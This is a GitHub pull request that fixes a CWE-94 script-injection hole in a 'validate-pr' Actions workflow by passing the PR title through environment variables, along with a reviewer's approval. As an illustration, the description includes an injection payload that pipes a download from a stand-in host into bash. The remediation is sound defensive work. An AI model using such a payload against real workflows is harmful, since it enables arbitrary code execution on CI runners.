FIX @W-19079373@ Prevent PR title injection in validate-pr workflow - #2077
Conversation
The validate-pr workflow interpolated the attacker-controlled github.event.pull_request.title directly into the run: shell script, allowing script injection via a crafted PR title. Pass the title (and base_ref) through environment variables (treated as data, not code) and add a least-privilege permissions block (contents: read).
aruntyagiTutu
left a comment
There was a problem hiding this comment.
Same fix as code-analyzer-core #498, applied here to validate-pr.yml's verify_pr_title job. Moves the untrusted github.event.pull_request.title (and base_ref, for consistency) into env: vars (PR_TITLE, BASE_REF) instead of direct ${{ }} interpolation inside the run: script, closing the CWE-94 script-injection vector. The remaining ${{ startsWith(github.head_ref, ...) }} / ${{ startsWith(github.base_ref, ...) }} usages are correctly left as-is since they only ever interpolate a literal true/false, not the raw ref value — no injection surface there.
Added permissions: contents: read is appropriate least-privilege hardening. PR description matches the diff, and correctly cross-references the sibling PRs (#498, vscode #366) fixing the same pattern. CI green. Approving.
What & why
Fixes W-19079373 — [PVR] GitHub Workflows Vulnerable to PR Title Injection (P2, Pre-production Security Debt).
The
validate-prworkflow interpolated the attacker-controlledgithub.event.pull_request.titledirectly into therun:shell script. Because${{ }}expansion is textual substitution performed before bash parses the script, a crafted PR title such asx"; curl evil.sh | bash; echo "breaks out of thetitle="..."assignment and executes arbitrary commands on the runner (CWE-94 script injection).Fix
base_ref, for consistency) through environment variables instead of inline${{ }}interpolation, so they are handled as data and cannot inject shell commands. This is the GitHub-recommended remediation.permissions: contents: readblock to cap the token's blast radius.The
startsWith(github.head_ref, ...)usages were already safe (they interpolate a literaltrue/false, not the raw ref) and are unchanged.Notes
on: pull_request(notpull_request_target), so this hardens against same-repo abuse and cache poisoning and removes the finding.code-analyzer-core@W-9698990@ Removing post install script from package.json #498 andsfdx-code-analyzer-vscode(incoming).Testing
validate-prre-runs on this PR and exercises the modified title-validation logic.